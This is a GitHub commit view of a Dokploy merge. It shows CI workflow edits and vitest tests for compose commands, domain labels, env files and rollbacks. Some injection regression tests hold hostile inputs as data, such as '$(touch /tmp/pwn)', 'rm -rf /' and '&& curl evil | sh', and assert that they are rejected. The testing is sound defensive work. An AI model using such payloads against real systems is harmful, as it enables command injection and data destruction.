Merge branch 'canary' into canary

This commit is contained in:
Szymon Bludnik 2026-08-12 10:48:46 +02:00 committed by GitHub
commit e4e383a99c
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
231 changed files with 83301 additions and 1548 deletions

View File

@ -140,6 +140,7 @@ jobs:
runs-on: ubuntu-latest
outputs:
version: ${{ steps.get_version.outputs.version }}
npm_version: ${{ steps.get_version.outputs.npm_version }}
steps:
- name: Checkout
uses: actions/checkout@v4
@ -151,6 +152,7 @@ jobs:
run: |
VERSION=$(node -p "require('./apps/dokploy/package.json').version")
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "npm_version=${VERSION#v}" >> $GITHUB_OUTPUT
- name: Fetch install.sh
run: |
@ -164,6 +166,7 @@ jobs:
uses: softprops/action-gh-release@v2
with:
tag_name: ${{ steps.get_version.outputs.version }}
target_commitish: ${{ github.sha }}
name: ${{ steps.get_version.outputs.version }}
generate_release_notes: true
draft: false
@ -180,71 +183,82 @@ jobs:
- name: Checkout
uses: actions/checkout@v4
- uses: pnpm/action-setup@v4
with:
version: 10.22.0
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: pnpm
- name: Generate OpenAPI specification
run: |
pnpm install --frozen-lockfile
pnpm generate:openapi
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
cd /tmp/mcp-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
npm install -g pnpm
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
pnpm run fetch-openapi
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ MCP repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to CLI repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/cli.git /tmp/cli-repo
cd /tmp/cli-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ CLI repo synced to version ${{ needs.generate-release.outputs.npm_version }}"
- name: Sync version to SDK repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/sdk.git /tmp/sdk-repo
cd /tmp/sdk-repo
jq --arg v "${{ needs.generate-release.outputs.version }}" '.version = $v' package.json > package.json.tmp
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json ./openapi.json
npm install -g pnpm
pnpm install
pnpm run generate
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
git add -A
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.version }}" \
git commit -m "chore: bump version to ${{ needs.generate-release.outputs.npm_version }}" \
-m "Source: ${{ github.repository }}@${{ github.sha }}" \
--allow-empty
git push
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.version }}"
echo "✅ SDK repo synced to version ${{ needs.generate-release.outputs.npm_version }}"

View File

@ -0,0 +1,36 @@
name: Hotfix Cherry-Pick
on:
pull_request_target:
types: [closed, labeled]
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
cherry-pick:
if: github.event.pull_request.merged == true && contains(github.event.pull_request.labels.*.name, 'hotfix')
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
fetch-depth: 0
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Cherry-pick fix to main
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
SHA="${{ github.event.pull_request.merge_commit_sha }}"
if [ "$(git rev-list --parents -n1 "$SHA" | wc -w)" -gt 2 ]; then
git cherry-pick -x -m 1 "$SHA"
else
git cherry-pick -x "$SHA"
fi
git commit --amend -m "$(git log -1 --format=%B)" -m "[skip ci]"
git push origin main

28
.github/workflows/hotfix-release.yml vendored Normal file
View File

@ -0,0 +1,28 @@
name: Hotfix Release
on:
workflow_dispatch:
concurrency:
group: hotfix-to-main
cancel-in-progress: false
jobs:
release:
runs-on: ubuntu-latest
steps:
- name: Checkout main
uses: actions/checkout@v4
with:
ref: main
token: ${{ secrets.HOTFIX_PUSH_TOKEN }}
- name: Bump patch version and push
run: |
git config user.name "Dokploy Bot"
git config user.email "bot@dokploy.com"
CURRENT=$(node -p "require('./apps/dokploy/package.json').version")
NEW=$(echo "$CURRENT" | awk -F. -v OFS=. '{$NF++; print}')
sed -i "s/\"version\": \"$CURRENT\"/\"version\": \"$NEW\"/" apps/dokploy/package.json
git commit -am "chore: release ${NEW}"
git push origin main

View File

@ -28,7 +28,7 @@
"@types/react-dom": "^19.2.0",
"rimraf": "6.1.3",
"tsx": "^4.22.4",
"typescript": "^5.8.3"
"typescript": "^7.0.2"
},
"packageManager": "pnpm@10.22.0",
"engines": {

View File

@ -2,13 +2,12 @@
"compilerOptions": {
"target": "ESNext",
"module": "ESNext",
"moduleResolution": "Node",
"moduleResolution": "bundler",
"strict": true,
"skipLibCheck": true,
"outDir": "dist",
"rootDir": "./src",
"jsx": "react-jsx",
"jsxImportSource": "hono/jsx",
"baseUrl": ".",
"paths": {
"@/*": ["./*"],
"@dokploy/server/*": ["../../packages/server/src/*"]

View File

@ -0,0 +1,57 @@
import { execSync } from "node:child_process";
import {
getRestoreCommand,
stripDatabaseSwitchCommand,
} from "@dokploy/server/utils/restore/utils";
import { describe, expect, it } from "vitest";
const filter = (input: string) =>
execSync(stripDatabaseSwitchCommand, {
input,
shell: "/bin/bash",
}).toString();
describe("restore drops database-switch statements (mysql/mariadb)", () => {
const dump = [
"-- MariaDB dump",
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
"USE `production_db`;",
"use production_db;",
"DROP TABLE IF EXISTS `users`;",
"CREATE TABLE `users` (`id` int NOT NULL);",
"INSERT INTO `users` VALUES (1),(2);",
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
].join("\n");
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
const result = filter(dump);
expect(result).not.toContain("USE `production_db`");
expect(result).not.toContain("use production_db");
expect(result).not.toContain("CREATE DATABASE /*!32312");
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
expect(result).toContain(
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
);
});
it("is wired into mysql and mariadb restore pipelines only", () => {
const base = {
appName: "my-app",
restoreType: "database" as const,
credentials: {
database: "dev_db",
databaseUser: "u",
databasePassword: "p",
},
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
};
for (const type of ["mysql", "mariadb"] as const) {
const cmd = getRestoreCommand({ ...base, type });
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
}
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
});
});

View File

@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});
it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});
it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});
it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});
it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});

View File

@ -0,0 +1,69 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
enabled: true,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@ -0,0 +1,312 @@
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { beforeEach, describe, expect, it, vi } from "vitest";
// addDomainToCompose reads the compose file from disk through loadDockerCompose
// (existsSync + readFileSync). Mock node:fs so the function runs its real
// label-generation logic against an in-memory compose spec.
const baseComposeYaml = `
services:
frigate:
image: frigate
`;
let composeYaml = baseComposeYaml;
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: vi.fn(() => true),
readFileSync: vi.fn(() => composeYaml),
};
});
const baseCompose = {
appName: "test-app",
composeType: "docker-compose",
composePath: "docker-compose.yml",
sourceType: "raw",
serverId: null,
isolatedDeployment: false,
randomize: false,
suffix: "",
} as unknown as Compose;
const baseDomain: Domain = {
host: "frigate.example.com",
port: 8971,
customEntrypoint: null,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
certificateType: "none",
applicationId: "",
composeId: "compose-id",
domainType: "compose",
serviceName: "frigate",
domainId: "domain-id",
path: "/",
createdAt: "",
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const serviceLabels = (
result: Awaited<ReturnType<typeof addDomainToCompose>>,
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
describe("addDomainToCompose enabled filtering", () => {
beforeEach(() => {
vi.clearAllMocks();
composeYaml = baseComposeYaml;
});
it("generates traefik labels for an enabled domain", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: true },
]);
const labels = serviceLabels(result);
expect(labels).toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
true,
);
});
it("skips a disabled domain entirely (no traefik labels)", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: false },
]);
const labels = serviceLabels(result);
expect(labels).not.toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
false,
);
});
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
] as const)(
"removes stale labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
legacy:
image: frigate
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
[
"stack",
`services:
legacy:
image: frigate
deploy:
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
] as const)(
"removes stale labels from the previous %s service after reassignment",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, serviceName: "frigate", enabled: false },
]);
const previousService = result?.services?.legacy;
const labels =
composeType === "docker-compose"
? previousService?.labels
: previousService?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
] as const)(
"removes stale mapping labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({ "custom.label": "preserved" });
expect(
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.docker.network",
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.swarm.network",
],
] as const)(
"regenerates routing in mapping labels for an enabled domain in %s",
async (composeType, mappingComposeYaml, networkLabel) => {
composeYaml = mappingComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: true },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({
"custom.label": "preserved",
"traefik.enable": "true",
[networkLabel]: "dokploy-network",
"traefik.http.routers.test-app-1-web.rule":
"Host(`frigate.example.com`)",
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
});
},
);
it("emits labels only for the enabled domain when both are present", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, host: "enabled.example.com", enabled: true },
{
...baseDomain,
host: "disabled.example.com",
uniqueConfigKey: 2,
enabled: false,
},
]);
const labels = serviceLabels(result);
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
true,
);
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
false,
);
});
});

View File

@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
customEntrypoint: null,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("Host rule format validation", () => {

View File

@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
it("should create basic labels for web entrypoint", async () => {

View File

@ -0,0 +1,96 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, rmSync, writeFileSync } from "node:fs";
import { join } from "node:path";
import { getCreateEnvFileCommand } from "@dokploy/server/utils/builders/compose";
import { afterEach, describe, expect, it } from "vitest";
// Regression coverage for https://github.com/Dokploy/dokploy/issues/4694 —
// values must survive Docker Compose's own `.env` parsing, not just base64 decode.
const appName = `env-file-literals-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
afterEach(() => {
try {
execFileSync("docker", ["compose", "down", "--remove-orphans"], {
cwd: codePath,
stdio: "ignore",
});
} catch {
// Project may not have been created (e.g. an earlier assertion failed).
}
rmSync(projectPath, { force: true, recursive: true });
});
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: '!"#$%&/()=?',
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: "abc#de",
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
};
// How each value must be typed in the UI so the (unchanged) dotenv input
// parser resolves it to the raw string in `cases` above.
const inputEncoding: Record<string, string> = {
PASSWORD: "pa$$word",
SPECIAL: `'!"#$%&/()=?'`,
NESTED_JSON: '{"nested":{"a":1}}',
MAIL_PASSWORD: `"abc#de"`,
TRAILING_BACKSLASH: "trailing\\",
QUOTE_INSIDE: 'she said "hi"',
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
};
describe("getCreateEnvFileCommand", () => {
it("writes special environment values that Docker Compose reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(inputEncoding)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = getCreateEnvFileCommand({
appName,
composePath: "docker-compose.yml",
env: serviceEnv,
randomize: false,
suffix: "",
serverId: null,
environment: { project: { env: "" }, env: "" },
} as Parameters<typeof getCreateEnvFileCommand>[0]);
execFileSync("bash", ["-c", command]);
const composeFile = `services:\n test:\n image: busybox\n environment:\n${Object.keys(
cases,
)
.map((key) => ` - ${key}=\${${key}}`)
.join("\n")}\n`;
writeFileSync(join(codePath, "docker-compose.yml"), composeFile);
const dumpScript = `for k in ${Object.keys(cases).join(" ")}; do printf '%s\\0' "$k"; eval "printf '%s\\0' \\"\\$$k\\""; done`;
const out = execFileSync(
"docker",
["compose", "run", "--rm", "-T", "test", "sh", "-c", dumpScript],
{ cwd: codePath, encoding: "utf8" },
);
const parts = out.split("\0");
const actual: Record<string, string> = {};
for (let i = 0; i < parts.length - 1; i += 2) {
actual[parts[i] as string] = parts[i + 1] as string;
}
for (const [key, value] of Object.entries(cases)) {
expect(actual[key], key).toBe(value);
}
}, 60000);
});

View File

@ -0,0 +1,45 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Compose now has a `createEnvFile` toggle (default true), mirroring the
// Application builder's flag: when disabled, Dokploy never writes `.env`,
// so a repo-tracked file survives untouched.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "env-file-toggle",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "FOO=bar",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
describe("getBuildComposeCommand createEnvFile toggle", () => {
it("createEnvFile: false never writes the .env file", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: false,
});
expect(command).not.toContain("base64 -d >");
});
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: true,
});
expect(command).toContain("base64 -d >");
});
});

View File

@ -0,0 +1,43 @@
import { execFileSync } from "node:child_process";
import { mkdirSync, readFileSync, rmSync } from "node:fs";
import { join } from "node:path";
import { createEnvFileCommand } from "@dokploy/server/utils/builders/utils";
import { parse } from "dotenv";
import { afterEach, describe, expect, it } from "vitest";
// Unlike compose's .env, this one is read by the app's own build tooling
// (generic dotenv, e.g. Next.js/Vite) — must stay unquoted, not Compose-escaped.
const appName = `env-file-literals-dockerfile-${process.pid}`;
const projectPath = join(process.cwd(), ".docker", "compose", appName);
const codePath = join(projectPath, "code");
const dockerFilePath = join(codePath, "Dockerfile");
afterEach(() => rmSync(projectPath, { force: true, recursive: true }));
const cases: Record<string, string> = {
PASSWORD: "pa$$word",
NESTED_JSON: '{"nested":{"a":1}}',
QUOTE_INSIDE: 'she said "hi"',
BACKSLASH: "back\\slash",
UNICODE: "héllo wörld 日本語 🚀",
};
describe("createEnvFileCommand", () => {
it("writes special environment values that a generic dotenv parser reads back literally", () => {
mkdirSync(codePath, { recursive: true });
const serviceEnv = Object.entries(cases)
.map(([key, value]) => `${key}=${value}`)
.join("\n");
const command = createEnvFileCommand(dockerFilePath, serviceEnv, "", "");
execFileSync("bash", ["-c", command]);
const written = readFileSync(join(codePath, ".env"), "utf8");
const parsed = parse(written);
for (const [key, value] of Object.entries(cases)) {
expect(parsed[key], key).toBe(value);
}
});
});

View File

@ -0,0 +1,104 @@
import type { ApplicationNested } from "@dokploy/server/utils/builders";
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
import { describe, expect, it } from "vitest";
const createApplication = (
overrides: Partial<ApplicationNested> = {},
): ApplicationNested =>
({
appName: "test-app",
buildType: "railpack",
sourceType: "git",
buildPath: "/",
railpackVersion: "0.15.4",
env: "TEST_VAR=one",
cleanCache: false,
environment: {
project: {
env: "",
},
env: "",
},
...overrides,
}) as unknown as ApplicationNested;
const getSecretsHash = (command: string) => {
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
if (!match?.[1]) {
throw new Error("secrets-hash build arg was not found");
}
return match[1];
};
describe("getRailpackCommand", () => {
it("includes secrets-hash without clean cache", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain("--build-arg secrets-hash=");
expect(command).not.toContain("cache-key=");
});
it("includes cache-key only when clean cache is enabled", () => {
const command = getRailpackCommand(
createApplication({
cleanCache: true,
}),
);
expect(command).toContain("--build-arg secrets-hash=");
expect(command).toContain("--build-arg cache-key=");
});
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=one",
}),
);
const secondCommand = getRailpackCommand(
createApplication({
env: "TEST_VAR=two",
}),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
it("changes secrets-hash when referenced project or environment values change", () => {
const firstCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=one",
},
env: "SHARED_VALUE=alpha",
},
} as Partial<ApplicationNested>),
);
const secondCommand = getRailpackCommand(
createApplication({
env: [
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
].join("\n"),
environment: {
project: {
env: "SHARED_VALUE=two",
},
env: "SHARED_VALUE=beta",
},
} as Partial<ApplicationNested>),
);
expect(getSecretsHash(firstCommand)).not.toEqual(
getSecretsHash(secondCommand),
);
});
});

View File

@ -0,0 +1,108 @@
import { prepareEnvironmentVariables } from "@dokploy/server/index";
import { describe, expect, it } from "vitest";
const projectEnv = `
ENVIRONMENT=staging
DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db
`;
const environmentEnv = `
NODE_ENV=production
POSTGRES_HOST=postgres.internal
POSTGRES_PORT=5432
REDIS_URL=redis://redis.internal:6379
`;
const serviceEnv = `
NODE_ENV=\${{environment.NODE_ENV}}
REDIS_URL=\${{environment.REDIS_URL}}
PORT=3000
`;
/**
* A rollback replays the snapshot stored in `rollbacks.fullContext`, which keeps
* the service env, the environment env and the project env captured at deploy time.
*/
const fullContext = {
env: serviceEnv,
environment: {
env: environmentEnv,
project: {
env: projectEnv,
},
},
};
describe("prepareEnvironmentVariables for application rollback", () => {
it("resolves environment variables from the rollback snapshot", () => {
const result = prepareEnvironmentVariables(
fullContext.env,
fullContext.environment.project.env,
fullContext.environment.env,
);
expect(result).toEqual([
"NODE_ENV=production",
"REDIS_URL=redis://redis.internal:6379",
"PORT=3000",
]);
});
it("resolves project and environment variables together on rollback", () => {
const rollbackEnv = `
DATABASE_URL=\${{project.DATABASE_URL}}
POSTGRES_URL=postgres://\${{environment.POSTGRES_HOST}}:\${{environment.POSTGRES_PORT}}/app
ENVIRONMENT=\${{project.ENVIRONMENT}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
projectEnv,
environmentEnv,
);
expect(result).toEqual([
"DATABASE_URL=postgres://postgres:postgres@localhost:5432/project_db",
"POSTGRES_URL=postgres://postgres.internal:5432/app",
"ENVIRONMENT=staging",
]);
});
it("throws when the environment env of the snapshot is not passed", () => {
expect(() =>
prepareEnvironmentVariables(fullContext.env, projectEnv),
).toThrow("Invalid environment variable: environment.NODE_ENV");
});
it("maintains precedence: service > environment > project on rollback", () => {
const conflictingProjectEnv = `
NODE_ENV=project
API_URL=https://project.api.com
`;
const conflictingEnvironmentEnv = `
NODE_ENV=environment
API_URL=https://environment.api.com
`;
const rollbackEnv = `
NODE_ENV=service
PROJECT_API_URL=\${{project.API_URL}}
ENVIRONMENT_API_URL=\${{environment.API_URL}}
SELF_REFERENCE=\${{NODE_ENV}}
`;
const result = prepareEnvironmentVariables(
rollbackEnv,
conflictingProjectEnv,
conflictingEnvironmentEnv,
);
expect(result).toEqual([
"NODE_ENV=service",
"PROJECT_API_URL=https://project.api.com",
"ENVIRONMENT_API_URL=https://environment.api.com",
"SELF_REFERENCE=service",
]);
});
});

618
apps/dokploy/__test__/env/vault.test.ts vendored Normal file
View File

@ -0,0 +1,618 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const findMany = vi.fn();
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
vaultProvider: {
findMany: (...args: unknown[]) => findMany(...args),
},
},
},
}));
import { prepareEnvironmentVariables } from "@dokploy/server/utils/docker/utils";
import {
resolveVaultReferences,
withResolvedVaultRefs,
} from "@dokploy/server/utils/vault";
import { azureClient } from "@dokploy/server/utils/vault/azure";
